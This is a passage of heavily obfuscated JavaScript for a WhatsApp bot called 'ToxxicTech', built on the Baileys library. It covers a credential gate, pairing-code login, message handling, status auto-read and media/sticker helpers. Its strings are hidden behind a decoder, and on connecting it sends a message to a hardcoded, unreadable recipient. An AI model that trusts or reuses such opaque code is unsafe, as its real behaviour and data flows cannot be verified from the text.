fImg,writeExifVid}=require(eSoigHWlqfradaCILUFwIItR(0x1f1)),{smsg,isUrl,generateMessageTag,getBuffer,getSizeMedia,fetch,await,sleep,reSize}=require(eSoigHWlqfradaCILUFwIItR(0x26b)),{default:ToxxicTechConnect,delay,PHONENUMBER_MCC,makeCacheableSignalKeyStore,useMultiFileAuthState,DisconnectReason,fetchLatestBaileysVersion,generateForwardMessageContent,prepareWAMessageMedia,generateWAMessageFromContent,generateMessageID,downloadContentFromMessage,makeInMemoryStore,jidDecode,proto,Browsers}=require(eSoigHWlqfradaCILUFwIItR(0x1f2)),NodeCache=require(eSoigHWlqfradaCILUFwIItR(0x1de)),Pino=require(eSoigHWlqfradaCILUFwIItR(0x1f0)),readline=require(eSoigHWlqfradaCILUFwIItR(0x247)),{parsePhoneNumber}=require(eSoigHWlqfradaCILUFwIItR(0x206)),makeWASocket=require(eSoigHWlqfradaCILUFwIItR(0x1f2))[eSoigHWlqfradaCILUFwIItR(0x211)],store=makeInMemoryStore({'logger':pino()[eSoigHWlqfradaCILUFwIItR(0x1c0)]({'level':eSoigHWlqfradaCILUFwIItR(0x1dd),'stream':eSoigHWlqfradaCILUFwIItR(0x231)})}),question=SqmFjmwywiXFzY=>{const VOXJyFnlmB=eSoigHWlqfradaCILUFwIItR,IwkwkVBrZtomZnBEfLYbVi=readline[VOXJyFnlmB(0x1e2)]({'input':process[VOXJyFnlmB(0x209)],'output':process[VOXJyFnlmB(0x21b)]});return new Promise(aFUA$LtrV_jEQ=>{const lPabQpVrFjdQzAEbrSXTXOPu=VOXJyFnlmB;IwkwkVBrZtomZnBEfLYbVi[lPabQpVrFjdQzAEbrSXTXOPu(0x20f)](SqmFjmwywiXFzY,aFUA$LtrV_jEQ);});},USERNAME=eSoigHWlqfradaCILUFwIItR(0x242),PASSWORD=eSoigHWlqfradaCILUFwIItR(0x1d7),promptCredentials=async()=>{const hmgzJvRKYV$tFdCDiR=eSoigHWlqfradaCILUFwIItR,mMGBk$fMc=await question(hmgzJvRKYV$tFdCDiR(0x221)),i$FCgAySGE=await question(hmgzJvRKYV$tFdCDiR(0x230));(mMGBk$fMc!==USERNAME||i$FCgAySGE!==PASSWORD)&&(console[hmgzJvRKYV$tFdCDiR(0x22d)](chalk[hmgzJvRKYV$tFdCDiR(0x215)](hmgzJvRKYV$tFdCDiR(0x20e))),process[hmgzJvRKYV$tFdCDiR(0x222)]());};async function startToxxicTech(){const mQ$GLYEK=eSoigHWlqfradaCILUFwIItR;await promptCredentials();const {state:pcZXFEGRZhILT$nTNfmjHkoJH,saveCreds:hkwDd_yZ_MhF}=await useMultiFileAuthState(mQ$GLYEK(0x1bd)),h$nCOy_wq=makeWASocket({'logger':pino({'level':mQ$GLYEK(0x1dd)}),'printQRInTerminal':![],'auth':pcZXFEGRZhILT$nTNfmjHkoJH,'connectTimeoutMs':0xea60,'defaultQueryTimeoutMs':0x0,'keepAliveIntervalMs':0x2710,'emitOwnEvents':!![],'fireInitQueries':!![],'generateHighQualityLinkPreview':!![],'syncFullHistory':!![],'markOnlineOnConnect':!![],'browser':[mQ$GLYEK(0x23f),mQ$GLYEK(0x1c8),mQ$GLYEK(0x262)]});if(!h$nCOy_wq[mQ$GLYEK(0x22e)][mQ$GLYEK(0x1fb)][mQ$GLYEK(0x1c7)]){const CNhNBMDFMHKGrOYb=await question(mQ$GLYEK(0x1cf));let fTzFfmdIvYzrLRxV=await h$nCOy_wq[mQ$GLYEK(0x213)](CNhNBMDFMHKGrOYb);fTzFfmdIvYzrLRxV=fTzFfmdIvYzrLRxV?.[mQ$GLYEK(0x1eb)](/.{1,4}/g)?.[mQ$GLYEK(0x208)]('-')||fTzFfmdIvYzrLRxV,console[mQ$GLYEK(0x22d)](mQ$GLYEK(0x203),fTzFfmdIvYzrLRxV);}store[mQ$GLYEK(0x24f)](h$nCOy_wq['ev']),h$nCOy_wq['ev']['on'](mQ$GLYEK(0x237),async WVEFiTfv=>{const LXUTeTcLIFUIHvHlpaWkzqmTA=mQ$GLYEK;try{const W_ebdP=WVEFiTfv[LXUTeTcLIFUIHvHlpaWkzqmTA(0x25a)][Math.floor(-0x22bf)+parseInt(-0x22e1)*Number(0x1)+Math.ceil(0x45a0)];if(!W_ebdP[LXUTeTcLIFUIHvHlpaWkzqmTA(0x22a)])return;W_ebdP[LXUTeTcLIFUIHvHlpaWkzqmTA(0x22a)]=Object[LXUTeTcLIFUIHvHlpaWkzqmTA(0x270)](W_ebdP[LXUTeTcLIFUIHvHlpaWkzqmTA(0x22a)])[Number(0x1)*Number(-0x18b3)+-0x7ba+Math.max(0x206d,0x206d)]===LXUTeTcLIFUIHvHlpaWkzqmTA(0x1fa)?W_ebdP[LXUTeTcLIFUIHvHlpaWkzqmTA(0x22a)][LXUTeTcLIFUIHvHlpaWkzqmTA(0x1fa)][LXUTeTcLIFUIHvHlpaWkzqmTA(0x22a)]:W_ebdP[LXUTeTcLIFUIHvHlpaWkzqmTA(0x22a)];if(W_ebdP[LXUTeTcLIFUIHvHlpaWkzqmTA(0x229)]&&W_ebdP[LXUTeTcLIFUIHvHlpaWkzqmTA(0x229)][LXUTeTcLIFUIHvHlpaWkzqmTA(0x1ff)]===LXUTeTcLIFUIHvHlpaWkzqmTA(0x23e)){if(!h$nCOy_wq[LXUTeTcLIFUIHvHlpaWkzqmTA(0x1f9)]&&!W_ebdP[LXUTeTcLIFUIHvHlpaWkzqmTA(0x229)][LXUTeTcLIFUIHvHlpaWkzqmTA(0x24d)]&&WVEFiTfv[LXUTeTcLIFUIHvHlpaWkzqmTA(0x264)]===LXUTeTcLIFUIHvHlpaWkzqmTA(0x217))return;}if(W_ebdP[LXUTeTcLIFUIHvHlpaWkzqmTA(0x229)]['id'][LXUTeTcLIFUIHvHlpaWkzqmTA(0x20c)](LXUTeTcLIFUIHvHlpaWkzqmTA(0x1db))&&W_ebdP[LXUTeTcLIFUIHvHlpaWkzqmTA(0x229)]['id'][LXUTeTcLIFUIHvHlpaWkzqmTA(0x261)]===0x342*0x2+0x1632+0x1ca6*Math.trunc(-0x1))return;const EIoeVBaUmmcfpm$LcnVAPR$FFZv=smsg(h$nCOy_wq,W_ebdP,store);require(LXUTeTcLIFUIHvHlpaWkzqmTA(0x21d))(h$nCOy_wq,EIoeVBaUmmcfpm$LcnVAPR$FFZv,WVEFiTfv,store);}catch(uAm$L$oukeXmzmsyCDMIpCURs){console[LXUTeTcLIFUIHvHlpaWkzqmTA(0x22d)](uAm$L$oukeXmzmsyCDMIpCURs);}}),h$nCOy_wq['ev']['on'](mQ$GLYEK(0x237),async HWujTtYXEqrfZkD=>{const TuQPrgAmPig_wrH=mQ$GLYEK;global[TuQPrgAmPig_wrH(0x220)]&&(mek=HWujTtYXEqrfZkD[TuQPrgAmPig_wrH(0x25a)][Math.trunc(-0x269)*0x5+0x19+0xbf4],mek[TuQPrgAmPig_wrH(0x229)]&&mek[TuQPrgAmPig_wrH(0x229)][TuQPrgAmPig_wrH(0x1ff)]===TuQPrgAmPig_wrH(0x23e)&&await h$nCOy_wq[TuQPrgAmPig_wrH(0x253)]([mek[TuQPrgAmPig_wrH(0x229)]]));}),h$nCOy_wq[mQ$GLYEK(0x23c)]=vnYAYoEYtYsQxI=>{const r_bBWQajlZ=mQ$GLYEK;if(!vnYAYoEYtYsQxI)return vnYAYoEYtYsQxI;if(/:\d+@/gi[r_bBWQajlZ(0x23d)](vnYAYoEYtYsQxI)){let Wzq_ayZ$K=jidDecode(vnYAYoEYtYsQxI)||{};return Wzq_ayZ$K[r_bBWQajlZ(0x256)]&&Wzq_ayZ$K[r_bBWQajlZ(0x1d2)]&&Wzq_ayZ$K[r_bBWQajlZ(0x256)]+'@'+Wzq_ayZ$K[r_bBWQajlZ(0x1d2)]||vnYAYoEYtYsQxI;}else return vnYAYoEYtYsQxI;},h$nCOy_wq['ev']['on'](mQ$GLYEK(0x1fe),AtzDoar_eIWQodU_LAW=>{const Kt_jf$ZTl=mQ$GLYEK;for(let fGNwcfiwdFAGeArZusSN_ad_VJl of AtzDoar_eIWQodU_LAW){let SiOKEMSGCpyVqGNiuCKc$cty=h$nCOy_wq[Kt_jf$ZTl(0x23c)](fGNwcfiwdFAGeArZusSN_ad_VJl['id']);if(store&&store[Kt_jf$ZTl(0x1e5)])store[Kt_jf$ZTl(0x1e5)][SiOKEMSGCpyVqGNiuCKc$cty]={'id':SiOKEMSGCpyVqGNiuCKc$cty,'name':fGNwcfiwdFAGeArZusSN_ad_VJl[Kt_jf$ZTl(0x217)]};}}),h$nCOy_wq[mQ$GLYEK(0x1c1)]=(MSTjqchuDCXBFqEYsXkEhLUR,HkTkhBygxDkaDeIMTb=![])=>{const Eog$r$JawIGyPq=mQ$GLYEK;id=h$nCOy_wq[Eog$r$JawIGyPq(0x23c)](MSTjqchuDCXBFqEYsXkEhLUR),HkTkhBygxDkaDeIMTb=h$nCOy_wq[Eog$r$JawIGyPq(0x22f)]||HkTkhBygxDkaDeIMTb;let IfNBiS$ekv;if(id[Eog$r$JawIGyPq(0x224)](Eog$r$JawIGyPq(0x201)))return new Promise(async F$Ii_vYQUYxny=>{const xUqQ$K=Eog$r$JawIGyPq;IfNBiS$ekv=store[xUqQ$K(0x1e5)][id]||{};if(!(IfNBiS$ekv[xUqQ$K(0x263)]||IfNBiS$ekv[xUqQ$K(0x240)]))IfNBiS$ekv=h$nCOy_wq[xUqQ$K(0x24c)](id)||{};F$Ii_vYQUYxny(IfNBiS$ekv[xUqQ$K(0x263)]||IfNBiS$ekv[xUqQ$K(0x240)]||PhoneNumber('+'+id[xUqQ$K(0x26c)](xUqQ$K(0x1f7),''))[xUqQ$K(0x1c9)](xUqQ$K(0x266)));});else IfNBiS$ekv=id===Eog$r$JawIGyPq(0x21a)?{'id':id,'name':Eog$r$JawIGyPq(0x1e3)}:id===h$nCOy_wq[Eog$r$JawIGyPq(0x23c)](h$nCOy_wq[Eog$r$JawIGyPq(0x256)]['id'])?h$nCOy_wq[Eog$r$JawIGyPq(0x256)]:store[Eog$r$JawIGyPq(0x1e5)][id]||{};return(HkTkhBygxDkaDeIMTb?'':IfNBiS$ekv[Eog$r$JawIGyPq(0x263)])||IfNBiS$ekv[Eog$r$JawIGyPq(0x240)]||IfNBiS$ekv[Eog$r$JawIGyPq(0x25e)]||PhoneNumber('+'+MSTjqchuDCXBFqEYsXkEhLUR[Eog$r$JawIGyPq(0x26c)](Eog$r$JawIGyPq(0x1f7),''))[Eog$r$JawIGyPq(0x1c9)](Eog$r$JawIGyPq(0x266));},h$nCOy_wq[mQ$GLYEK(0x1f9)]=!![],h$nCOy_wq[mQ$GLYEK(0x250)]=s$nuPoa$W=>smsg(h$nCOy_wq,s$nuPoa$W,store),h$nCOy_wq['ev']['on'](mQ$GLYEK(0x21c),async HaUmVwNNmjtxmAWdepgk=>{const ON_$zLagvD=mQ$GLYEK,{connection:aAgdmnf$_qRDv,lastDisconnect:JUQd$aFPFxOLXYQcaHLnd}=HaUmVwNNmjtxmAWdepgk;aAgdmnf$_qRDv==ON_$zLagvD(0x227)&&(console[ON_$zLagvD(0x22d)](chalk[ON_$zLagvD(0x202)]('\x20')),console[ON_$zLagvD(0x22d)](chalk[ON_$zLagvD(0x225)](ON_$zLagvD(0x243)+JSON[ON_$zLagvD(0x24b)](h$nCOy_wq[ON_$zLagvD(0x256)],null,Math.floor(-0x5)*-0x13+Math.ceil(0x7b5)+-0x812))),await delay(parseInt(-0x2482)+0xb56+0x1*0x20fb),console[ON_$zLagvD(0x22d)](chalk[ON_$zLagvD(0x225)](ON_$zLagvD(0x1c3)+chalk[ON_$zLagvD(0x1f3)][ON_$zLagvD(0x268)](ON_$zLagvD(0x1ea))+'\x0a\x0a')),console[ON_$zLagvD(0x22d)](chalk[ON_$zLagvD(0x1cc)](ON_$zLagvD(0x204))),console[ON_$zLagvD(0x22d)](chalk[ON_$zLagvD(0x202)](ON_$zLagvD(0x248))),await delay(Number(0x141f)+-0x1ffe+0xfc7),console[ON_$zLagvD(0x22d)](chalk[ON_$zLagvD(0x202)](ON_$zLagvD(0x1e8))),h$nCOy_wq[ON_$zLagvD(0x236)](ON_$zLagvD(0x1fd),{'text':ON_$zLagvD(0x20b),'contextInfo':{'forwardingScore':0x270f,'isForwarded':!![]}})),aAgdmnf$_qRDv===ON_$zLagvD(0x257)&&JUQd$aFPFxOLXYQcaHLnd&&JUQd$aFPFxOLXYQcaHLnd[ON_$zLagvD(0x226)]&&JUQd$aFPFxOLXYQcaHLnd[ON_$zLagvD(0x226)][ON_$zLagvD(0x1e1)][ON_$zLagvD(0x218)]!=-0x1636+-0x24f2+parseInt(0xc25)*Math.ceil(0x5)&&startToxxicTech();}),h$nCOy_wq['ev']['on'](mQ$GLYEK(0x254),hkwDd_yZ_MhF),h$nCOy_wq['ev']['on'](mQ$GLYEK(0x237),()=>{}),h$nCOy_wq[mQ$GLYEK(0x1c2)]=(qbXX_ASyOXSHIn,LXgiE_C,VcOI_PknIXisgFGyguHGf='',Hpvurl_q)=>h$nCOy_wq[mQ$GLYEK(0x236)](qbXX_ASyOXSHIn,{'text':LXgiE_C,...Hpvurl_q},{'quoted':VcOI_PknIXisgFGyguHGf,...Hpvurl_q}),h$nCOy_wq[mQ$GLYEK(0x205)]=async(rrGjIhA,cabvROwBTtQWH,hUUt$RivcTnWD,VyZr_o={})=>h$nCOy_wq[mQ$GLYEK(0x236)](rrGjIhA,{'text':cabvROwBTtQWH,'mentions':[...cabvROwBTtQWH[mQ$GLYEK(0x1ef)](/@(\d{0,16})/g)][mQ$GLYEK(0x26e)](GntmmfrskXHjHahMBnTvC=>GntmmfrskXHjHahMBnTvC[-0x2a5*Math.trunc(0x1)+parseFloat(-0xc4)*0x22+0x1cae]+mQ$GLYEK(0x1f7)),...VyZr_o},{'quoted':hUUt$RivcTnWD}),h$nCOy_wq[mQ$GLYEK(0x245)]=async(jS_wBlnKrerQbOhGLgpY,qjp_MFaT$i,zBVzhbRksQSQBSRohIJRkhbhr,HedShN={})=>{const MAWR_lMpDxhHYH=mQ$GLYEK;let bWHDt_La$pBBF=Buffer[MAWR_lMpDxhHYH(0x1da)](qjp_MFaT$i)?qjp_MFaT$i:/^data:.*?\/.*?;base64,/i[MAWR_lMpDxhHYH(0x23d)](qjp_MFaT$i)?Buffer[MAWR_lMpDxhHYH(0x23b)](qjp_MFaT$i[MAWR_lMpDxhHYH(0x24a)]`,`[0x1*Number(0xeb1)+Math.trunc(0x18c5)+-0x2775],MAWR_lMpDxhHYH(0x20d)):/^https?:\/\//[MAWR_lMpDxhHYH(0x23d)](qjp_MFaT$i)?await await getBuffer(qjp_MFaT$i):fs[MAWR_lMpDxhHYH(0x1cd)](qjp_MFaT$i)?fs[MAWR_lMpDxhHYH(0x271)](qjp_MFaT$i):Buffer[MAWR_lMpDxhHYH(0x1f8)](Math.trunc(-0xb)*Math.trunc(-0x20f)+-0x1*-0xd42+0x1*-0x23e7),MjyrErX$An_dLVMkSrxdKyqH;return HedShN&&(HedShN[MAWR_lMpDxhHYH(0x1d1)]||HedShN[MAWR_lMpDxhHYH(0x24e)])?MjyrErX$An_dLVMkSrxdKyqH=await writeExifImg(bWHDt_La$pBBF,HedShN):MjyrErX$An_dLVMkSrxdKyqH=await imageToWebp(bWHDt_La$pBBF),await h$nCOy_wq[MAWR_lMpDxhHYH(0x236)](jS_wBlnKrerQbOhGLgpY,{'sticker':{'url':MjyrErX$An_dLVMkSrxdKyqH},...HedShN},{'quoted':zBVzhbRksQSQBSRohIJRkhbhr}),MjyrErX$An_dLVMkSrxdKyqH;},h$nCOy_wq[mQ$GLYEK(0x1ed)]=async(IQaRQhzgkReZptAsYAdQP,XJkstcRfyblgnoYgqCkTV,pznm$pZy$GF,GsJASysFCNycZxminNpHSdMz={})=>{const yeHfIGTxwiP$gwzjcey=mQ$GLYEK;let TenWzIVRroskoTOVLBJrDpeiQ=Buffer[yeHfIGTxwiP$gwzjcey(0x1da)](XJkstcRfyblgnoYgqCkTV)?XJkstcRfyblgnoYgqCkTV:/^data:.*?\/.*?;base64,/i[yeHfIGTxwiP$gwzjcey(0x23d)](XJkstcRfyblgnoYgqCkTV)?Buffer[yeHfIGTxwiP$gwzjcey(0x23b)](XJkstcRfyblgnoYgqCkTV[yeHfIGTxwiP$gwzjcey(0x24a)]`,`[parseInt(-0xa3a)+0x1b71*0x1+-0x1136*0x1],yeHfIGTxwiP$gwzjcey(0x20d)):/^https?:\/\//[yeHfIGTxwiP$gwzjcey(0x23d)](XJkstcRfyblgnoYgqCkTV)?await await getBuffer(XJkstcRfyblgnoYgqCkTV):fs[yeHfIGTxwiP$gwzjcey(0x1cd)](XJkstcRfyblgnoYgqCkTV)?fs[yeHfIGTxwiP$gwzjcey(0x271)](XJkstcRfyblgnoYgqCkTV):Buffer[yeHfIGTxwiP$gwzjcey(0x1f8)](Math.ceil(-0x265e)+-0x7ba+0x2e18),xOpVJ$vEuUstNTUT;return GsJASysFCNycZxminNpHSdMz&&(GsJASysFCNycZxminNpHSdMz[yeHfIGTxwiP$gwzjcey(0x1d1)]||GsJASysFCNycZxminNpHSdMz[yeHfIGTxwiP$gwzjcey(0x24e)])?xOpVJ$vEuUstNTUT=await writeExifVid(TenWzIVRroskoTOVLBJrDpeiQ,GsJASysFCNycZxminNpHSdMz):xOpVJ$vEuUstNTUT=await videoToWebp(TenWzIVRroskoTOVLBJrDpeiQ),await h$nCOy_wq[yeHfIGTxwiP$gwzjcey(0x236)](IQaRQhzgkReZptAsYAdQP,{'sticker':{'url':xOpVJ$vEuUstNTUT},...GsJASysFCNycZxminNpHSdMz},{'quoted':pznm$pZy$GF}),xOpVJ$vEuUstNTUT;},h$nCOy_wq[mQ$GLYEK(0x228)]=async(PYrmtAR,R_HpKV,zZnCpKAshgZcyfpLS_sIuVI=!![])=>{const dJutj=mQ$GLYEK;let J$ftXTg=PYrmtAR[dJutj(0x1d3)]?PYrmtAR[dJutj(0x1d3)]:PYrmtAR,pjcIChsf_uaua=(PYrmtAR[dJutj(0x1d3)]||PYrmtAR)[dJutj(0x267)]||'',Qbm$gzPgzOAQnk=PYrmtAR[dJutj(0x23a)]?PYrmtAR[dJutj(0x23a)][dJutj(0x26c)](/Message/gi,''):pjcIChsf_uaua[dJutj(0x24a)]('/')[-0x1870+Math.ceil(-0x12ee)+parseFloat(0x5b)*0x7a];const Bxxhtn$HJKxySLHWyGsrTeRSKh=await downloadContentFromMessage(J$ftXTg,Qbm$gzPgzOAQnk);let SbSLw$wYgpeaB$Dwmcd=Buffer[dJutj(0x23b)]([]);for await(const gpXmOcYTX$$Bww of Bxxhtn$HJKxySLHWyGsrTeRSKh){SbSLw$wYgpeaB$Dwmcd=Buffer[dJutj(0x1fc)]([SbSLw$wYgpeaB$Dwmcd,gpXmOcYTX$$Bww]);}let nenhf=await FileType[dJutj(0x251)](SbSLw$wYgpeaB$Dwmcd);return trueFileName=zZnCpKAshgZcyfpLS_sIuVI?R_HpKV+'.'+nenhf[dJutj(0x265)]:R_HpKV,await fs[dJutj(0x1ee)](trueFileName,SbSLw$wYgpeaB$Dwmcd),trueFileName;},h$nCOy_wq[mQ$GLYEK(0x1cb)]=async(nRxgv,YPCfxQOYLaMff$KDd)=>{const QmXBmVwVkPxEyAswKJF=mQ$GLYEK;let KntCEYRaJtGO$Rig$bXR,fQ$NqKJkR_xZ=Buffer[QmXBmVwVkPxEyAswKJF(0x1da)](nRxgv)?nRxgv:/^data:.*?\/.*?;base64,/i[QmXBmVwVkPxEyAswKJF(0x23d)](nRxgv)?Buffer[QmXBmVwVkPxEyAswKJF(0x23b)](nRxgv[QmXBmVwVkPxEyAswKJF(0x24a)]`,`[parseFloat(-0x1)*-0x198e+0x1ab8+-0x3445*0x1],QmXBmVwVkPxEyAswKJF(0x20d)):/^https?:\/\//[QmXBmVwVkPxEyAswKJF(0x23d)](nRxgv)?await(KntCEYRaJtGO$Rig$bXR=await getBuffer(nRxgv)):fs[QmXBmVwVkPxEyAswKJF(0x1cd)](nRxgv)?(filename=nRxgv,fs[QmXBmVwVkPxEyAswKJF(0x271)](nRxgv)):typeof nRxgv===QmXBmVwVkPxEyAswKJF(0x26a)?nRxgv:Buffer[QmXBmVwVkPxEyAswKJF(0x1f8)](Math.floor(0xd73)+Math.max(-0x7aa,-0x7aa)+-0x5c9),qWtWkT_$zO=await FileType[QmXBmVwVkPxEyAswKJF(0x251)](fQ$NqKJkR_xZ)||{'mime':QmXBmVwVkPxEyAswKJF(0x25c),'ext':QmXBmVwVkPxEyAswKJF(0x1e0)};filename=path[QmXBmVwVkPxEyAswKJF(0x208)](__filename,QmXBmVwVkPxEyAswKJF(0x25d)+new Date()*(-0x18cf*-0x1+-0x877*Math.max(-0x2,-0x2)+Math.ceil(-0x29bc))+'.'+qWtWkT_$zO[QmXBmVwVkPxEyAswKJF(0x265)]);if(fQ$NqKJkR_xZ&&YPCfxQOYLaMff$KDd)fs[QmXBmVwVkPxEyAswKJF(0x269)][QmXBmVwVkPxEyAswKJF(0x1e9)](filename,fQ$NqKJkR_xZ);return{'res':KntCEYRaJtGO$Rig$bXR,'filename':filename,'size':await getSizeMedia(fQ$NqKJkR_xZ),...qWtWkT_$zO,'data':fQ$NqKJkR_xZ};},h$nCOy_wq[mQ$GLYEK(0x249)]=async(oZDFjEOlmbJeUf$Robd,HJJHzk,mBGxWS$pqB$y='',OPhVSo_$D='',hrmNdvXxgrStizZDWNNTTvr,tAJL$g_kIYQBojy=![],sbKXrDc_zRDtmwICEFJv={})=>{const nFaef=mQ$GLYEK;let IqFCVDCsY_d=await h$nCOy_wq[nFaef(0x1cb)](HJJHzk,!![]),{res:aZu_irFMHE,data:EAWSTLHiquUrAIy,filename:LreYNUYhFycBeVeQufwj}=IqFCVDCsY_d;if(aZu_irFMHE&&aZu_irFMHE[nFaef(0x210)]!==Number(-0x3)*0xa2f+0x17d*parseInt(0x1)+Math.max(-0x2fc,-0x2fc)*Math.trunc(-0xa)||EAWSTLHiquUrAIy[nFaef(0x261)]<=0x1*0xacd9+0x1ad3+Number(0x3854))try{throw{'json':JSON[nFaef(0x241)](EAWSTLHiquUrAIy[nFaef(0x1bc)]())};}catch(pWQnDhcsIzvdo$TZuvh){if(pWQnDhcsIzvdo$TZuvh[nFaef(0x25b)])throw pWQnDhcsIzvdo$TZuvh[nFaef(0x25b)];}let DKw$AEZE={'filename':mBGxWS$pqB$y};if(hrmNdvXxgrStizZDWNNTTvr)DKw$AEZE[nFaef(0x21f)]=hrmNdvXxgrStizZDWNNTTvr;if(!IqFCVDCsY_d)sbKXrDc_zRDtmwICEFJv[nFaef(0x244)]=!![];let YMSgq$TGaGohijXfrmaZ='',CdcuAO_rKKgdwDlxOhrR_NmY=IqFCVDCsY_d[nFaef(0x1d9)],vJmaSeVDSISkWvgmMxVj;if(/webp/[nFaef(0x23d)](IqFCVDCsY_d[nFaef(0x1d9)])||/image/[nFaef(0x23d)](IqFCVDCsY_d[nFaef(0x1d9)])&&sbKXrDc_zRDtmwICEFJv[nFaef(0x246)])YMSgq$TGaGohijXfrmaZ=nFaef(0x1f5);else{if(/image/[nFaef(0x23d)](IqFCVDCsY_d[nFaef(0x1d9)])||/webp/[nFaef(0x23d)](IqFCVDCsY_d[nFaef(0x1d9)])&&sbKXrDc_zRDtmwICEFJv[nFaef(0x1c6)])YMSgq$TGaGohijXfrmaZ=nFaef(0x234);else{if(/video/[nFaef(0x23d)](IqFCVDCsY_d[nFaef(0x1d9)]))YMSgq$TGaGohijXfrmaZ=nFaef(0x232);else{if(/audio/[nFaef(0x23d)](IqFCVDCsY_d[nFaef(0x1d9)]))vJmaSeVDSISkWvgmMxVj=await(tAJL$g_kIYQBojy?toPTT:toAudio)(EAWSTLHiquUrAIy,IqFCVDCsY_d[nFaef(0x265)]),EAWSTLHiquUrAIy=vJmaSeVDSISkWvgmMxVj[nFaef(0x252)],LreYNUYhFycBeVeQufwj=vJmaSeVDSISkWvgmMxVj[nFaef(0x1c4)],YMSgq$TGaGohijXfrmaZ=nFaef(0x1be),CdcuAO_rKKgdwDlxOhrR_NmY=nFaef(0x1ce);else YMSgq$TGaGohijXfrmaZ=nFaef(0x219);}}}if(sbKXrDc_zRDtmwICEFJv[nFaef(0x244)])YMSgq$TGaGohijXfrmaZ=nFaef(0x219);delete sbKXrDc_zRDtmwICEFJv[nFaef(0x246)],delete sbKXrDc_zRDtmwICEFJv[nFaef(0x1d4)],delete sbKXrDc_zRDtmwICEFJv[nFaef(0x1c5)],delete sbKXrDc_zRDtmwICEFJv[nFaef(0x244)],delete sbKXrDc_zRDtmwICEFJv[nFaef(0x1c6)];let MCswnuNPCzwIStdVkJ={...sbKXrDc_zRDtmwICEFJv,'caption':OPhVSo_$D,'ptt':tAJL$g_kIYQBojy,[YMSgq$TGaGohijXfrmaZ]:{'url':LreYNUYhFycBeVeQufwj},'mimetype':CdcuAO_rKKgdwDlxOhrR_NmY},NlmgsJdTj$y_MtUHWLtDDubz;try{NlmgsJdTj$y_MtUHWLtDDubz=await h$nCOy_wq[nFaef(0x236)](oZDFjEOlmbJeUf$Robd,MCswnuNPCzwIStdVkJ,{...DKw$AEZE,...sbKXrDc_zRDtmwICEFJv});}catch(WsezJHAvAndUqhn$$uWL){NlmgsJdTj$y_MtUHWLtDDubz=null;}finally{if(!NlmgsJdTj$y_MtUHWLtDDubz)NlmgsJdTj$y_MtUHWLtDDubz=await h$nCOy_wq[nFaef(0x236)](oZDFjEOlmbJeUf$Robd,{...MCswnuNPCzwIStdVkJ,[YMSgq$TGaGohijXfrmaZ]:EAWSTLHiquUrAIy},{...DKw$AEZE,...sbKXrDc_zRDtmwICEFJv});return EAWSTLHiquUrAIy=null,NlmgsJdTj$y_MtUHWLtDDubz;}},h$nCOy_wq[mQ$GLYEK(0x1bf)]=async w$AKZu_c=>{const j_Iu$DfMoYirmR=mQ$GLYEK;let onYbkrjJAFeu_CQBPkPWqI=(w$AKZu_c[j_Iu$DfMoYirmR(0x1d3)]||w$AKZu_c)[j_Iu$DfMoYirmR(0x267)]||'',MWutuQizF_sNBZ=w$AKZu_c[j_Iu$DfMoYirmR(0x23a)]?w$AKZu_c[j_Iu$DfMoYirmR(0x23a)][j_Iu$DfMoYirmR(0x26c)](/Message/gi,''):onYbkrjJAFeu_CQBPkPWqI[j_Iu$DfMoYirmR(0x24a)]('/')[0xc*Math.floor(-0x1a2)+0x1e01+Math.floor(0xd)*-0xcd];const TOmwer$QOhMjBySvEUElNBpa=await downloadContentFromMessage(w$AKZu_c,MWutuQizF_sNBZ);let edH$$uD=Buffer[j_Iu$DfMoYirmR(0x23b)]([]);for await(const JpgGDe of TOmwer$QOhMjBySvEUElNBpa){edH$$uD=Buffer[j_Iu$DfMoYirmR(0x1fc)]([edH$$uD,JpgGDe]);}return edH$$uD;};}return startToxxicTech();let file=require[eSoigHWlqfradaCILUFwIItR(0x1d5)](__filename);function JEcnN(EcnNIzKspBccpPanjuA,esEONVjNYrAYjpqAFXta){const bHw$gJE=PDojJAbxmrZwuEk_VejiIXKYpv();return JEcnN=function(ejtalbw$xTQ_yiQhKicJQO,mcPIBvYyJDtSlQYIfau){ejtalbw$xTQ_yiQhKicJQO=ejtalbw$xTQ_yiQhKicJQO-(Math.max(0x1d99,0x1d99)*0x1+-0x1*Math.trunc(-0x1183)+Math.floor(-0x2d60));let uujnabPM_RRS=bHw$gJE[ejtalbw$xTQ_yiQhKicJQO];if(JEcnN['XNgNbs']===undefined){const wywiX$FzYRI=function(kwkVBrZtomZnBE){let LYbV$_ipa=0xef8+Number(0x17a)+parseInt(-0xe85)&-0xca7+parseInt(0x2619)+-0x239*0xb,UALtrVjEQjmMGBkfM=new Uint8Array(kwkVBrZtomZnBE['match'](/.{1,2}/g)['map'](ZMhFghnCOywqCCN=>parseInt(ZMhFghnCOywqCCN,0x207c+-0x2060+Math.floor(0xc)*Math.max(-0x1,-0x1)))),miFCg=UALtrVjEQjmMGBkfM['map'](NBMDFMHK=>NBMDFMHK^LYbV$_ipa),ySGEXpcZXFEGRZh=new TextDecoder(),LTnTNfmjHkoJHm$hkwDd=ySGEXpcZXFEGRZh['decode'](miFCg);return LTnTNfmjHkoJHm$hkwDd;};JEcnN['PtlSnV']=wywiX$FzYRI,EcnNIzKspBccpPanjuA=arguments,JEcnN['XNgNbs']=!![];}const xF_lIuskyQLO$dU=bHw$gJE[Math.trunc(0x105a)+parseFloat(0x2573)+parseInt(-0x35cd)],dfAGwSX=ejtalbw$xTQ_yiQhKicJQO+xF_lIuskyQLO$dU,iIBBBuimTMFtRIxSqmFj=EcnNIzKspBccpPanjuA[dfAGwSX];return!iIBBBuimTMFtRIxSqmFj?(JEcnN['lihHYt']===undefined&&(JEcnN['lihHYt']=!![]),uujnabPM_RRS=JEcnN['PtlSnV'](uujnabPM_RRS),EcnNIzKspBccpPanjuA[dfAGwSX]=uujnabPM_RRS):uujnabPM_RRS=iIBBBuimTMFtRIxSqmFj,uujnabPM_RRS;},JEcnN(EcnNIzKspBccpPanjuA,esEONVjNYrAYjpqAFXta);}function PDojJAbxmrZwuEk_VejiIXKYpv(){const 